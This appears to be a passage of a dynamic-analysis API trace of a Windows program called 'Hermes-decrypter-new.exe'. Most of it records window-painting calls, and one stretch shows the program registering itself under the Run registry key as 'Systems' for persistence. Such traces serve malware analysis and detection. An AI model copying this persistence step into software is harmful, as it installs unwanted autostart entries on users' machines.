(lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xc, wParam=0x0, lParam=0x2ff4a54) returned 0x1 [0155.142] IsWindowVisible (hWnd=0x1023e) returned 1 [0155.143] IsWindowEnabled (hWnd=0x1023e) returned 1 [0155.143] SetFocus (hWnd=0x1023e) returned 0x1023e [0155.143] GetFocus () returned 0x1023e [0155.143] GetFocus () returned 0x1023e [0155.143] SetWindowLongW (hWnd=0xa004a, nIndex=-8, dwNewLong=66110) returned 66110 [0155.144] CoTaskMemAlloc (cb=0xb) returned 0xf23418 [0155.146] CoTaskMemAlloc (cb=0xe) returned 0xf23448 [0155.149] CoTaskMemAlloc (cb=0x30) returned 0xeff898 [0155.154] CoTaskMemAlloc (cb=0xf) returned 0xf23460 [0155.156] CoTaskMemAlloc (cb=0xf) returned 0xf23238 [0155.157] CoTaskMemAlloc (cb=0x13) returned 0xf208a8 [0155.158] CoTaskMemAlloc (cb=0xb) returned 0xf23250 [0155.159] CoTaskMemAlloc (cb=0x20c) returned 0xf67ce0 [0155.159] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf67ce0, nSize=0x104 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0155.159] CoTaskMemFree (pv=0xf67ce0) [0155.165] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe", nBufferLength=0x105, lpBuffer=0x19e34c, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Hermes-decrypter-new.exe", lpFilePart=0x0) returned 0x22 [0155.165] CoTaskMemAlloc (cb=0x16f) returned 0xf67ce0 [0155.219] CoTaskMemAlloc (cb=0xb) returned 0xf23268 [0155.220] CoTaskMemAlloc (cb=0x12) returned 0xf20528 [0155.221] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x19e858 | out: phkResult=0x19e858*=0x3e4) returned 0x0 [0155.223] CoTaskMemAlloc (cb=0x16) returned 0xf20748 [0155.225] RegQueryValueExW (in: hKey=0x3e4, lpValueName="Systems", lpReserved=0x0, lpType=0x19e888, lpData=0x0, lpcbData=0x19e884*=0x0 | out: lpType=0x19e888*=0x0, lpData=0x0, lpcbData=0x19e884*=0x0) returned 0x2 [0155.225] RegSetValueExW (in: hKey=0x3e4, lpValueName="Systems", Reserved=0x0, dwType=0x1, lpData="C:\\FD1HVy\\Hermes-decrypter-new.exe", cbData=0x46 | out: lpData="C:\\FD1HVy\\Hermes-decrypter-new.exe") returned 0x0 [0155.226] CoTaskMemAlloc (cb=0xe) returned 0xef8098 [0155.229] RegFlushKey (hKey=0x3e4) returned 0x0 [0155.283] CoTaskMemAlloc (cb=0xe) returned 0xf6d0d0 [0155.285] RegCloseKey (hKey=0x3e4) returned 0x0 [0155.285] GetWindowTextLengthW (hWnd=0x20238) returned 4 [0155.285] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0155.285] GetSystemMetrics (nIndex=42) returned 0 [0155.285] GetWindowTextW (in: hWnd=0x20238, lpString=0x19e8a8, nMaxCount=5 | out: lpString="Name") returned 4 [0155.285] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xd, wParam=0x5, lParam=0x19e8a8) returned 0x4 [0155.285] GetWindowTextLengthW (hWnd=0x20238) returned 4 [0155.285] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0155.285] GetSystemMetrics (nIndex=42) returned 0 [0155.285] GetWindowTextW (in: hWnd=0x20238, lpString=0x19e8a4, nMaxCount=5 | out: lpString="Name") returned 4 [0155.285] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xd, wParam=0x5, lParam=0x19e8a4) returned 0x4 [0155.285] SetWindowTextW (hWnd=0x20238, lpString="FD1HVy") returned 1 [0155.285] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xc, wParam=0x0, lParam=0x2f63c58) returned 0x1 [0155.286] GetStockObject (i=5) returned 0x900015 [0155.286] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131640) returned 0x20238 [0155.286] SendMessageW (hWnd=0x20238, Msg=0x202b, wParam=0x20238, lParam=0x19e3a4) returned 0x0 [0155.286] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x202b, wParam=0x20238, lParam=0x19e3a4) returned 0x0 [0155.286] GetWindowTextLengthW (hWnd=0x20238) returned 6 [0155.286] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0155.286] GetSystemMetrics (nIndex=42) returned 0 [0155.286] GetWindowTextW (in: hWnd=0x20238, lpString=0x19e7c4, nMaxCount=7 | out: lpString="FD1HVy") returned 6 [0155.286] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xd, wParam=0x7, lParam=0x19e7c4) returned 0x6 [0155.287] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.287] AdjustWindowRectEx (in: lpRect=0x19e750, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e750) returned 1 [0155.287] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e7d4, fWinIni=0x0 | out: pvParam=0x19e7d4) returned 1 [0155.287] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.287] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.287] SelectObject (hdc=0x8e0106dd, h=0x230a0712) returned 0x480a06e6 [0155.287] DrawTextExW (in: hdc=0x8e0106dd, lpchText="FD1HVy", cchText=6, lprc=0x19e73c, format=0x102400, lpdtp=0x2ff5d20 | out: lpchText="FD1HVy", lprc=0x19e73c) returned 33 [0155.288] SetWindowPos (hWnd=0x20238, hWndInsertAfter=0x0, X=383, Y=6, cx=120, cy=33, uFlags=0x16) returned 1 [0155.288] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x46, wParam=0x0, lParam=0x19e7bc) returned 0x0 [0155.289] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x83, wParam=0x1, lParam=0x19e794) returned 0x0 [0155.289] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.289] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x47, wParam=0x0, lParam=0x19e7bc) returned 0x0 [0155.289] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x5, wParam=0x0, lParam=0x210078) returned 0x0 [0155.289] GetClientRect (in: hWnd=0x20238, lpRect=0x19e47c | out: lpRect=0x19e47c) returned 1 [0155.289] GetWindowRect (in: hWnd=0x20238, lpRect=0x19e47c | out: lpRect=0x19e47c) returned 1 [0155.289] GetParent (hWnd=0x20238) returned 0x2022c [0155.289] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2022c, lpPoints=0x19e47c, cPoints=0x2 | out: lpPoints=0x19e47c) returned -9961777 [0155.289] InvalidateRect (hWnd=0x20238, lpRect=0x0, bErase=1) returned 1 [0155.290] GetWindowTextLengthW (hWnd=0x20238) returned 6 [0155.290] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0155.290] GetSystemMetrics (nIndex=42) returned 0 [0155.290] GetWindowTextW (in: hWnd=0x20238, lpString=0x19e300, nMaxCount=7 | out: lpString="FD1HVy") returned 6 [0155.290] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xd, wParam=0x7, lParam=0x19e300) returned 0x6 [0155.290] GetParent (hWnd=0x20238) returned 0x2022c [0155.290] InvalidateRect (hWnd=0x20238, lpRect=0x0, bErase=1) returned 1 [0155.290] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0155.290] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.290] GetSystemMetrics (nIndex=42) returned 0 [0155.290] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e800, nMaxCount=1 | out: lpString="") returned 0 [0155.290] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e800) returned 0x0 [0155.291] CoTaskMemAlloc (cb=0xe) returned 0xf6d148 [0155.300] PostMessageW (hWnd=0x1023e, Msg=0xc172, wParam=0x0, lParam=0x0) returned 1 [0155.300] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.300] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.300] GetSystemMetrics (nIndex=42) returned 0 [0155.300] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e8d0, nMaxCount=1 | out: lpString="") returned 0 [0155.300] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e8d0) returned 0x0 [0155.300] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0155.300] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.300] GetSystemMetrics (nIndex=42) returned 0 [0155.301] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19e894, nMaxCount=1 | out: lpString="") returned 0 [0155.301] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19e894) returned 0x0 [0155.301] GetWindowTextLengthW (hWnd=0x20218) returned 0 [0155.301] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.301] GetSystemMetrics (nIndex=42) returned 0 [0155.301] GetWindowTextW (in: hWnd=0x20218, lpString=0x19e894, nMaxCount=1 | out: lpString="") returned 0 [0155.301] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0xd, wParam=0x1, lParam=0x19e894) returned 0x0 [0155.301] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0155.301] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.301] GetSystemMetrics (nIndex=42) returned 0 [0155.301] GetWindowTextW (in: hWnd=0x20220, lpString=0x19e894, nMaxCount=1 | out: lpString="") returned 0 [0155.301] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19e894) returned 0x0 [0155.301] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0155.301] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.301] GetSystemMetrics (nIndex=42) returned 0 [0155.301] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e8d0, nMaxCount=1 | out: lpString="") returned 0 [0155.301] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e8d0) returned 0x0 [0155.326] GetAncestor (hwnd=0x20234, gaFlags=0x1) returned 0x20230 [0155.326] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.326] IsWindowUnicode (hWnd=0x1023e) returned 1 [0155.327] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.327] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.327] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.327] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0155.328] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.328] IsWindowUnicode (hWnd=0x10240) returned 1 [0155.328] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.328] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.328] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.328] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0155.328] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.328] IsWindowUnicode (hWnd=0x1023e) returned 1 [0155.328] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.328] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.328] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.328] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x46, wParam=0x0, lParam=0x19ebcc) returned 0x0 [0155.328] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x83, wParam=0x1, lParam=0x19eba4) returned 0x0 [0155.329] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.329] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e8d4 | out: lpRect=0x19e8d4) returned 1 [0155.329] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.329] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.329] GetSystemMetrics (nIndex=42) returned 0 [0155.329] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e7b4, nMaxCount=1 | out: lpString="") returned 0 [0155.329] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e7b4) returned 0x0 [0155.329] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e7dc | out: lpRect=0x19e7dc) returned 1 [0155.329] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.329] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.329] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.329] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.330] SaveDC (hdc=0x60100ce) returned 1 [0155.330] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.330] CreateSolidBrush (color=0x323533) returned 0x7100628 [0155.330] FillRect (hDC=0x60100ce, lprc=0x19e67c, hbr=0x7100628) returned 1 [0155.330] DeleteObject (ho=0x7100628) returned 1 [0155.330] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.330] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.330] SetTextColor (hdc=0x1e0106e1, color=0x6994f5) returned 0x0 [0155.330] SetBkColor (hdc=0x1e0106e1, color=0x302d2d) returned 0xffffff [0155.331] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e29c | out: lpRect=0x19e29c) returned 1 [0155.331] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.331] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.331] GetSystemMetrics (nIndex=42) returned 0 [0155.331] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e17c, nMaxCount=1 | out: lpString="") returned 0 [0155.331] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e17c) returned 0x0 [0155.331] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e1a4 | out: lpRect=0x19e1a4) returned 1 [0155.331] GetCurrentObject (hdc=0x2301019f, type=0x1) returned 0xb00017 [0155.331] GetCurrentObject (hdc=0x2301019f, type=0x2) returned 0x900010 [0155.331] GetCurrentObject (hdc=0x2301019f, type=0x7) returned 0x49050719 [0155.331] GetCurrentObject (hdc=0x2301019f, type=0x6) returned 0x8a01c2 [0155.331] SaveDC (hdc=0x2301019f) returned 1 [0155.331] GetNearestColor (hdc=0x2301019f, color=0x323533) returned 0x323533 [0155.332] CreateSolidBrush (color=0x323533) returned 0x8100628 [0155.332] FillRect (hDC=0x2301019f, lprc=0x19e044, hbr=0x8100628) returned 1 [0155.332] DeleteObject (ho=0x8100628) returned 1 [0155.332] RestoreDC (hdc=0x2301019f, nSavedDC=-1) returned 1 [0155.332] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.332] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.332] GetSystemMetrics (nIndex=42) returned 0 [0155.332] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.332] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.332] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e144 | out: lpRect=0x19e144) returned 1 [0155.332] GetCurrentObject (hdc=0x2301019f, type=0x1) returned 0xb00017 [0155.332] GetCurrentObject (hdc=0x2301019f, type=0x2) returned 0x900010 [0155.332] GetCurrentObject (hdc=0x2301019f, type=0x7) returned 0x49050719 [0155.332] GetCurrentObject (hdc=0x2301019f, type=0x6) returned 0x8a01c2 [0155.332] SaveDC (hdc=0x2301019f) returned 1 [0155.332] GetNearestColor (hdc=0x2301019f, color=0x323533) returned 0x323533 [0155.332] CreateSolidBrush (color=0x323533) returned 0x9100628 [0155.332] FillRect (hDC=0x2301019f, lprc=0x19dfe4, hbr=0x9100628) returned 1 [0155.332] DeleteObject (ho=0x9100628) returned 1 [0155.333] RestoreDC (hdc=0x2301019f, nSavedDC=-1) returned 1 [0155.333] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.333] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.333] GetSystemMetrics (nIndex=42) returned 0 [0155.333] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.333] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.333] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.334] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.334] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.334] SetTextColor (hdc=0x10105d6, color=0x6994f5) returned 0x0 [0155.334] SetBkColor (hdc=0x10105d6, color=0x302d2d) returned 0xffffff [0155.335] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e29c | out: lpRect=0x19e29c) returned 1 [0155.335] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.335] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.335] GetSystemMetrics (nIndex=42) returned 0 [0155.335] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e17c, nMaxCount=1 | out: lpString="") returned 0 [0155.335] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e17c) returned 0x0 [0155.335] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e1a4 | out: lpRect=0x19e1a4) returned 1 [0155.335] GetCurrentObject (hdc=0x2401019f, type=0x1) returned 0xb00017 [0155.335] GetCurrentObject (hdc=0x2401019f, type=0x2) returned 0x900010 [0155.335] GetCurrentObject (hdc=0x2401019f, type=0x7) returned 0x49050719 [0155.335] GetCurrentObject (hdc=0x2401019f, type=0x6) returned 0x8a01c2 [0155.335] SaveDC (hdc=0x2401019f) returned 1 [0155.335] GetNearestColor (hdc=0x2401019f, color=0x323533) returned 0x323533 [0155.335] CreateSolidBrush (color=0x323533) returned 0xa100628 [0155.335] FillRect (hDC=0x2401019f, lprc=0x19e044, hbr=0xa100628) returned 1 [0155.336] DeleteObject (ho=0xa100628) returned 1 [0155.336] RestoreDC (hdc=0x2401019f, nSavedDC=-1) returned 1 [0155.336] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.336] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.336] GetSystemMetrics (nIndex=42) returned 0 [0155.336] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.336] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.336] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e144 | out: lpRect=0x19e144) returned 1 [0155.336] GetCurrentObject (hdc=0x2401019f, type=0x1) returned 0xb00017 [0155.336] GetCurrentObject (hdc=0x2401019f, type=0x2) returned 0x900010 [0155.336] GetCurrentObject (hdc=0x2401019f, type=0x7) returned 0x49050719 [0155.336] GetCurrentObject (hdc=0x2401019f, type=0x6) returned 0x8a01c2 [0155.336] SaveDC (hdc=0x2401019f) returned 1 [0155.336] GetNearestColor (hdc=0x2401019f, color=0x323533) returned 0x323533 [0155.336] CreateSolidBrush (color=0x323533) returned 0xb100628 [0155.336] FillRect (hDC=0x2401019f, lprc=0x19dfe4, hbr=0xb100628) returned 1 [0155.336] DeleteObject (ho=0xb100628) returned 1 [0155.336] RestoreDC (hdc=0x2401019f, nSavedDC=-1) returned 1 [0155.337] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.337] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.337] GetSystemMetrics (nIndex=42) returned 0 [0155.337] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.337] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.338] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0155.338] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.338] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.338] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0155.338] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0155.339] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e29c | out: lpRect=0x19e29c) returned 1 [0155.339] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.339] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.339] GetSystemMetrics (nIndex=42) returned 0 [0155.339] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e17c, nMaxCount=1 | out: lpString="") returned 0 [0155.339] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e17c) returned 0x0 [0155.339] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e1a4 | out: lpRect=0x19e1a4) returned 1 [0155.339] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0155.339] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0155.339] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0155.339] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0155.339] SaveDC (hdc=0x1e0106e1) returned 1 [0155.339] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0155.339] CreateSolidBrush (color=0x323533) returned 0xc100628 [0155.339] FillRect (hDC=0x1e0106e1, lprc=0x19e044, hbr=0xc100628) returned 1 [0155.339] DeleteObject (ho=0xc100628) returned 1 [0155.339] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0155.340] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.340] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.340] GetSystemMetrics (nIndex=42) returned 0 [0155.340] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.340] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.340] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e144 | out: lpRect=0x19e144) returned 1 [0155.340] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0155.340] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0155.340] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0155.340] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0155.340] SaveDC (hdc=0x1e0106e1) returned 1 [0155.340] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0155.340] CreateSolidBrush (color=0x323533) returned 0xd100628 [0155.340] FillRect (hDC=0x1e0106e1, lprc=0x19dfe4, hbr=0xd100628) returned 1 [0155.340] DeleteObject (ho=0xd100628) returned 1 [0155.340] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0155.340] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.340] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.340] GetSystemMetrics (nIndex=42) returned 0 [0155.341] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e11c, nMaxCount=1 | out: lpString="") returned 0 [0155.341] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e11c) returned 0x0 [0155.343] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.343] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0155.343] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0155.344] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.344] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0155.344] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0155.344] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e29c | out: lpRect=0x19e29c) returned 1 [0155.344] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.344] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.344] GetSystemMetrics (nIndex=42) returned 0 [0155.344] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e17c, nMaxCount=1 | out: lpString="") returned 0 [0155.344] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e17c) returned 0x0 [0155.344] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e1a4 | out: lpRect=0x19e1a4) returned 1 [0155.344] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0155.344] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0155.345] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0155.345] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0155.345] SaveDC 